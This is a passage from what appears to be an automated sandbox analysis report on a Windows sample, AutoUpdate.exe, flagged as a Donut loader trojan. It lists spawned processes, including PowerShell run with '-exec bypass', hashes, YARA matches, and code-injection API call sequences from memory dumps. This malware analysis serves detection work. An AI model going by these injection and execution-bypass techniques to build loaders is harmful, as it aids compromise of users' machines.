<span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><sp
2024-12-23 23:30:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	18:30:03
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\AutoUpdate.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AutoUpdate.exe"
Imagebase:	0x400000
File size:	76'859'736 bytes
MD5 hash:	2EDFB2E821CC4822C1AC9D6D52591048
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1677973971.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000003.1785558448.00000000030F6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:30:35
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass error code: 523
Imagebase:	0x880000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:30:35
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:30:37
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="UwKlRWOOvWBtYJ.FwDwDmXsQcmgI5ndC_Cc6FOD4boY-1734996638-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> </div> </div> </div><!-- /.section --> <div id="ts-blocks" style="display:none;"></div> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8f6c23ff083143ee</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span> </p> <script>(function(){function d(){var b=a.getElementById("cf-footer-item-ip"),c=a.getElementById("cf-footer-ip-reveal");b&&"classList"in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}var a=document;document.addEventListener&&a.addEventListener("DOMContentLoaded",d)})();</script> </div><!-- /.error-footer --> </div><!-- /#cf-error-details --> </div><!-- /#cf-wrapper --> <script> window._cf_translation = {}; </script> </body> </html>
Imagebase:	0x880000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:30:37
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	31.6%
Total number of Nodes:	117
Total number of Limit Nodes:	11

Executed Functions

Function 02AEC2C1 Relevance: 12.7, APIs: 8, Instructions: 730memorynativethreadCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000,00000000), ref: 02AEC35A
NtMapViewOfSection.NTDLL(?,00000000), ref: 02AEC402
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 02AEC776
NtMapViewOfSection.NTDLL(?,00000000,?,?,?,?,?,?), ref: 02AEC82B
VirtualProtect.KERNEL32(?,?,00000008,?,?,?,?,?,?,?), ref: 02AEC848
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 02AEC8EB
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,?,?,?,?), ref: 02AEC91E
CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 02AECA8F

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectSection$CreateView$AllocThread
String ID:
API String ID: 1248616170-0
Opcode ID: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction ID: 90b376ce7f2a69e5946800422f85d40df8293c58e3becd019c5e409908d43e8d
Opcode Fuzzy Hash: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction Fuzzy Hash: 6C428F716043419FDB24DF14C884B6BB7EAFF88724F04492EF9969B251EB70E942CB61

Function 02AA0A11 Relevance: 6.1, APIs: 4, Instructions: 100
threadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,?,?,?,?,?,02AA0557,?,00000001,?,81EC8B55,000000FF), ref: 02AA0A4F
Thread32First.KERNEL32(00000000,0000001C), ref: 02AA0A7B
Wow64SuspendThread.KERNEL32(00000000), ref: 02AA0ACE
CloseHandle.KERNEL32(00000000), ref: 02AA0AF8

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID: CloseCreateFirstHandleSnapshotSuspendThreadThread32Toolhelp32Wow64
String ID:
API String ID: 1849706056-0
Opcode ID: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction ID: 807ab001111bfeec181b2e83868d6fbcb1b5645dee7ebbb3a3e9c010ca881dfc
Opcode Fuzzy Hash: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction Fuzzy Hash: FB410E75A00108AFDB18DF68C5A0BADB7B6EF88300F10C168E6169B794DB74AE45CB54

Function 02AA08C1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 02AA098D

Strings

,, xrefs: 02AA09D9

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: ,
API String ID: 2422867632-3772416878
Opcode ID: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction ID: 4779eca7bd3701efba9d51e67f6d53febb55da27cdb66ee395ada6d31c4a66ab
Opcode Fuzzy Hash: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction Fuzzy Hash: 7541B474E00209EFDB14CF98C994BAEBBB1BF88314F208198D515AB395C771AE81CB94

Function 02AA0301 Relevance: 3.4, APIs: 2, Instructions: 399
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,00000001,?,81EC8B55,000000FF), ref: 02AA05A4
TerminateProcess.KERNELBASE(000000FF,00000000), ref: 02AA0898

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID: CreateProcessTerminateThread
String ID:
API String ID: 1197810419-0
Opcode ID: ac5e859a3443d82d79f1fd19b066042456be0645bc839aabe0122ab591062df3
Instruction ID: 068ecd4edb9828cfb8fe3e8b81b9759c4e4bbcb5ee8bf0582f20b73a951121e3
Opcode Fuzzy Hash: ac5e859a3443d82d79f1fd19b066042456be0645bc839aabe0122ab591062df3
Instruction Fuzzy Hash: A212B1B4E00219DFDB14CF98C990BADBBB2FF88304F2482A9D515AB385D775AA41CF54

Function 02AECF3F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,?,?), ref: 02AECFD1

Strings

.dll, xrefs: 02AECF76

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .dll
API String ID: 1029625771-2738580789
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: 53158cf3d26498f87f8b143616e7d802f0344175cec3b8ca8b3b4ae9cd3998d0
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: 09210A326003459FDF21CFA8C484B697BA5EF05334F08416FE80787A41DB30E846CB81

Function 02AEBB91 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02AEBC0B
VirtualFree.KERNELBASE(00000000,00000000,0000C000), ref: 02AEBF4F

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction ID: 9fd4e88970cce580814d8d9f464b75523e6bbd8f506f78a5c4d7ba780bd49a15
Opcode Fuzzy Hash: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction Fuzzy Hash: D8B1B071104A05ABDF21AF608DC8BABF7E9BF49318F140919E68A96150EF31E552CFB1

Non-executed Functions

Function 02AD5B47 Relevance: 96.7, Strings: 77, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f, xrefs: 02AD5EB0
s, xrefs: 02AD5D4B
D, xrefs: 02AD5CCD
x, xrefs: 02AD5DDE
F, xrefs: 02AD5DD0
L, xrefs: 02AD5CB1
#, xrefs: 02AD5DD7
2, xrefs: 02AD5C64
X, xrefs: 02AD5CFE
9, xrefs: 02AD6052
j, xrefs: 02AD5E5C
J, xrefs: 02AD5D7C
&, xrefs: 02AD5CF0
4, xrefs: 02AD6140
3, xrefs: 02AD6028
~, xrefs: 02AD5E08
O, xrefs: 02AD600C
R, xrefs: 02AD5D44
, xrefs: 02AD5CC6
P, xrefs: 02AD5D36
h, xrefs: 02AD5E4E
d, xrefs: 02AD5EA2
N, xrefs: 02AD5D98
;, xrefs: 02AD6060
`, xrefs: 02AD5E86
,, xrefs: 02AD5CAA
@, xrefs: 02AD5DA6
", xrefs: 02AD5CD4
b, xrefs: 02AD5E94
B, xrefs: 02AD5DB4
8, xrefs: 02AD5C1E
|, xrefs: 02AD5DFA
L, xrefs: 02AD5D8A
<, xrefs: 02AD6067
$, xrefs: 02AD5CE2
7, xrefs: 02AD6044
P, xrefs: 02AD5C5D
>, xrefs: 02AD5C48
o, xrefs: 02AD5D9F
Z, xrefs: 02AD5D0C
_, xrefs: 02AD5B53
H, xrefs: 02AD5D6E
T, xrefs: 02AD5D52
4, xrefs: 02AD5C72
?, xrefs: 02AD5B6F
=, xrefs: 02AD606E
e, xrefs: 02AD5DC9
., xrefs: 02AD5CB8
n, xrefs: 02AD5E78
p, xrefs: 02AD5E16
0, xrefs: 02AD5C56
j, xrefs: 02AD5BC3
V, xrefs: 02AD5D60
D, xrefs: 02AD5DC2
z, xrefs: 02AD5DEC
*, xrefs: 02AD5C9C
', xrefs: 02AD5C17
:, xrefs: 02AD5C2C
t, xrefs: 02AD5E32
^, xrefs: 02AD5D28
1, xrefs: 02AD601A
<, xrefs: 02AD5C3A
V, xrefs: 02AD5C87
r, xrefs: 02AD5E24
l, xrefs: 02AD5CDB
5, xrefs: 02AD6036
), xrefs: 02AD5D91
l, xrefs: 02AD5E6A
v, xrefs: 02AD5E40
7, xrefs: 02AD5D59
U, xrefs: 02AD5E39
\, xrefs: 02AD5D1A
!, xrefs: 02AD5BED
6, xrefs: 02AD5C80
7, xrefs: 02AD5BA7
O, xrefs: 02AD5E7F
(, xrefs: 02AD5C8E

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID:
String ID: $!$"$#$$$&$'$($)$*$,$.$0$1$2$3$4$4$5$6$7$7$7$8$9$:$;$<$<$=$>$?$@$B$D$D$F$H$J$L$L$N$O$O$P$P$R$T$U$V$V$X$Z$\$^$_$`$b$d$e$f$h$j$j$l$l$n$o$p$r$s$t$v$x$z$|$~
API String ID: 0-2095882019
Opcode ID: cfbf1ced21096c3f6961b3004dbcd018dbd78906ee5d401195c7e4831f6f5987
Instruction ID: 8e72c7d64a1c8a963f0334ba2ad5fb8e2bbde1973e2b725e7c51087ea1ff1692
Opcode Fuzzy Hash: cfbf1ced21096c3f6961b3004dbcd018dbd78906ee5d401195c7e4831f6f5987
Instruction Fuzzy Hash: 09222E219087E98DDB32C63C8C187DDBFA15B23324F0842D9D5E97B2D2D6B50B85CB66

Function 02AD5077 Relevance: 56.6, Strings: 45, Instructions: 310
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P, xrefs: 02AD50F8
>, xrefs: 02AD5222
>, xrefs: 02AD514C
,, xrefs: 02AD5184
z, xrefs: 02AD50B8
*, xrefs: 02AD5278
), xrefs: 02AD5274
:, xrefs: 02AD513C
_, xrefs: 02AD524C
6, xrefs: 02AD516C
A, xrefs: 02AD50D0
!, xrefs: 02AD5254
y, xrefs: 02AD5098
%, xrefs: 02AD5264
A, xrefs: 02AD50E0
.z[V, xrefs: 02AD5077
0, xrefs: 02AD5326
^, xrefs: 02AD5118
8, xrefs: 02AD5134
H, xrefs: 02AD50C8
e, xrefs: 02AD5339
\, xrefs: 02AD50E8
<, xrefs: 02AD5144
(, xrefs: 02AD5174
#, xrefs: 02AD525C
H, xrefs: 02AD5178
Q, xrefs: 02AD5110
E, xrefs: 02AD50D8
<, xrefs: 02AD5219
z, xrefs: 02AD50A0
X, xrefs: 02AD5100
[, xrefs: 02AD5090
*, xrefs: 02AD517C
T, xrefs: 02AD5130
+, xrefs: 02AD527C
P, xrefs: 02AD5345
W, xrefs: 02AD5120
0, xrefs: 02AD5154
], xrefs: 02AD5244
D, xrefs: 02AD50C0
', xrefs: 02AD526C
+, xrefs: 02AD5180
2, xrefs: 02AD515C
v, xrefs: 02AD50A8
4, xrefs: 02AD5164

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID:
String ID: !$#$%$'$($)$*$*$+$+$,$.z[V$0$0$2$4$6$8$:$<$<$>$>$A$A$D$E$H$H$P$P$Q$T$W$X$[$\$]$^$_$e$v$y$z$z
API String ID: 0-1264413916
Opcode ID: 15aee918af06d9ff0feaba9729065837a5e05f83154a9e476a95d479aca62591
Instruction ID: c2ad5d5b49ac0a1ec06614a70be9916635bc27084376a53526a02fe0f0a49034
Opcode Fuzzy Hash: 15aee918af06d9ff0feaba9729065837a5e05f83154a9e476a95d479aca62591
Instruction Fuzzy Hash: C0E1BE21D087D98EDB22CABC88483DEBFB15B57324F084398D4A57B3D2C7754A46C7A6

Function 02AD662D Relevance: 55.3, Strings: 44, Instructions: 307
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P, xrefs: 02AD669E
*, xrefs: 02AD6722
6, xrefs: 02AD6712
,, xrefs: 02AD672A
+, xrefs: 02AD6726
A, xrefs: 02AD6686
H, xrefs: 02AD671E
], xrefs: 02AD67EA
(, xrefs: 02AD671A
<, xrefs: 02AD66EA
H, xrefs: 02AD666E
*, xrefs: 02AD681E
', xrefs: 02AD6812
Q, xrefs: 02AD66B6
<, xrefs: 02AD67BF
4, xrefs: 02AD670A
>, xrefs: 02AD66F2
z, xrefs: 02AD6646
), xrefs: 02AD681A
P, xrefs: 02AD68EB
A, xrefs: 02AD6676
X, xrefs: 02AD66A6
0, xrefs: 02AD68CC
%, xrefs: 02AD680A
_, xrefs: 02AD67F2
!, xrefs: 02AD67FA
z, xrefs: 02AD665E
y, xrefs: 02AD663E
2, xrefs: 02AD6702
[, xrefs: 02AD6636
D, xrefs: 02AD6666
W, xrefs: 02AD66C6
>, xrefs: 02AD67C8
8, xrefs: 02AD66DA
E, xrefs: 02AD667E
v, xrefs: 02AD664E
e, xrefs: 02AD68DF
#, xrefs: 02AD6802
+, xrefs: 02AD6822
\, xrefs: 02AD668E
:, xrefs: 02AD66E2
T, xrefs: 02AD66D6
^, xrefs: 02AD66BE
0, xrefs: 02AD66FA

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID:
String ID: !$#$%$'$($)$*$*$+$+$,$0$0$2$4$6$8$:$<$<$>$>$A$A$D$E$H$H$P$P$Q$T$W$X$[$\$]$^$_$e$v$y$z$z
API String ID: 0-3265363903
Opcode ID: 9417d92bc3d46b64c2a87d97616c2ee2dd58d7c4ee086e49c907f16cd6d8c92e
Instruction ID: c39e2c8349695f45d6bda5c95b698f265790fee671f0848694f2d95521b963fc
Opcode Fuzzy Hash: 9417d92bc3d46b64c2a87d97616c2ee2dd58d7c4ee086e49c907f16cd6d8c92e
Instruction Fuzzy Hash: 93E1BE31D087D98EDB22CABC98483DDBFB15B57324F084398D4A56B3D2C7790A46C7A6

Function 02AC4501 Relevance: 18.0, Strings: 14, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

II, xrefs: 02AC502E
r$t&, xrefs: 02AC4924
f4v6, xrefs: 02AC48FC
~ r", xrefs: 02AC491A
W<t>, xrefs: 02AC48E8
-B, xrefs: 02AC4E7D
q(o*, xrefs: 02AC4906
{,y., xrefs: 02AC4910
l0f2, xrefs: 02AC48F2
@A, xrefs: 02AC4E84
II, xrefs: 02AC4E8B
vX=Z, xrefs: 02AC492E
/-, xrefs: 02AC4D54
fr, xrefs: 02AC487A

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID:
String ID: -B$/-$@A$II$II$W<t>$f4v6$fr$l0f2$q(o*$r$t&$vX=Z${,y.$~ r"
API String ID: 0-3006317390
Opcode ID: 5b7d28e5b893bc65fef8aab843cf35ee30626e65e752206e0813e7cb2adf3ea9
Instruction ID: 32a3459e4485f6dc7ed47e36a918d3295831038ce701a43cefb0a2a1fcec3cf9
Opcode Fuzzy Hash: 5b7d28e5b893bc65fef8aab843cf35ee30626e65e752206e0813e7cb2adf3ea9
Instruction Fuzzy Hash: 05425DB4A452688FCB25CF15C989BDABBB0FB41300F0181E9C4596F366CB758B86CF85

Function 02ACB0CE Relevance: 16.5, Strings: 13, Instructions: 278
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HWJi, xrefs: 02ACB2BD
XN]P, xrefs: 02ACB32B
Ez~|, xrefs: 02ACB341
1NFI, xrefs: 02ACB2B2
}rnc, xrefs: 02ACB2D3
d, xrefs: 02ACB186
{qnx, xrefs: 02ACB2C8
dma{, xrefs: 02ACB2DE
sZ, xrefs: 02ACB34C
gx, xrefs: 02ACB104
8C, xrefs: 02ACB17C
x^T6, xrefs: 02ACB3F2
WU\S, xrefs: 02ACB270

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID:
String ID: 1NFI$8C$Ez~|$HWJi$WU\S$XN]P$d$dma{$gx$sZ$x^T6${qnx$}rnc
API String ID: 0-167272509
Opcode ID: 7b8700c450749c4eb4606d66e4dd2b6be8c04ec35f1969033c0965c085e5ef4b
Instruction ID: fc515c755264a9089aeb8c97e4cbabb5b1838eb804bd0000a076f21b307bc4ca
Opcode Fuzzy Hash: 7b8700c450749c4eb4606d66e4dd2b6be8c04ec35f1969033c0965c085e5ef4b
Instruction Fuzzy Hash: 4191FFB550C3C28BE3358F29C4A17ABFBE1AF92304F28886DC5DA5B351DB754409CB66

Function 02AB0972 Relevance: 14.6, Strings: 11, Instructions: 893
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%, xrefs: 02AB0E21
/, xrefs: 02AB0AA5
H, xrefs: 02AB0D30
A, xrefs: 02AB0980
&, xrefs: 02AB0BC1
v, xrefs: 02AB0A4A
+, xrefs: 02AB1388
m, xrefs: 02AB0F50
x, xrefs: 02AB0DB1
=, xrefs: 02AB0B0C
0, xrefs: 02AB0ECC

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID:
String ID: %$&$+$/$0$=$A$H$m$v$x
API String ID: 0-3847814623
Opcode ID: b280b833c50d13a8ee72c1dc9eee85bc81e6b5db0bc29524f438569bd5a1628a
Instruction ID: 242e31b4f8588f80eac664ad8979643b3ce75cb733e89c1e00a5802276fd20d0
Opcode Fuzzy Hash: b280b833c50d13a8ee72c1dc9eee85bc81e6b5db0bc29524f438569bd5a1628a
Instruction Fuzzy Hash: 9E828F7160C7808FC7259B3889A43AFBBE6AF85310F194A6DD4DA873C2DB758945CB43

Function 02AB220B Relevance: 11.8, Strings: 9, Instructions: 507COMMON

Download Yara Rule

Strings

D, xrefs: 02AB27A2
h, xrefs: 02AB279D
%, xrefs: 02AB2219
Z, xrefs: 02AB22CD
}, xrefs: 02AB2459
&, xrefs: 02AB257C
X, xrefs: 02AB2449
{, xrefs: 02AB273F
|, xrefs: 02AB2451

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID:
String ID: %$&$D$X$Z$h${$|$}
API String ID: 0-3507681197
Opcode ID: 341705d69b74438920d7af17db1577506177340ad81028ca57e676a9ff58be6a
Instruction ID: 4a9f07f9a33775e5cac9c12b391d539b33855e54ede1bed9d18dd7f465704711
Opcode Fuzzy Hash: 341705d69b74438920d7af17db1577506177340ad81028ca57e676a9ff58be6a
Instruction Fuzzy Hash: CD12947160D7908BD725DF38C5943AEBBE6AF85310F054A2EE8D987392DB348845CB43

Function 02AAA85E Relevance: 11.7, Strings: 9, Instructions: 403COMMON

Download Yara Rule

Strings

QMST, xrefs: 02AAA964
&/#$, xrefs: 02AAA8A7
GEYD, xrefs: 02AAA95C
Ba, xrefs: 02AAA9B4
b, xrefs: 02AAAB53
X[, xrefs: 02AAA9E6
9,, xrefs: 02AAA89F
BYKA, xrefs: 02AAA94C
sumk, xrefs: 02AAAB5E

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa0000_AutoUpdate.jbxd

Yara matches

Similarity

API ID:
String ID: &/#$$BYKA$Ba$GEYD$QMST$X[$b$sumk$9,
API String ID: 0-424231395
Opcode ID: 7fd373fcb96ac687dab879233330fdeeae6d5461b93ed954df08858efd1bb958
Instruction ID: f6c03e3d00f944f806e662deb638ec459bc7fe4f5bc7280422dbc461227f4f09
Opcode Fuzzy Hash: 7fd373fcb96ac687dab879233330fdeeae6d5461b93ed954df08858efd1bb958
Instruction Fuzzy Hash: 59B1EE7164C3918BD3268F7988A075BBFE1AFD6204F1889ACE4D58B382D739850AC752

Function 02AAC16E Relevance: 9.1, Strings: 7, Instructions: 374COMMON

Download Yara Rule

Strings

-+51, xrefs: 02AAC180
U !", xrefs: 02AAC2B1
ZG, xrefs: 02AAC51C
zF, xrefs: 02AAC239
z, xrefs: 02AAC523
7a6, xrefs: 02AAC2B9
J}, xrefs: 02AAC229

Memory Dump Source

Source File: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

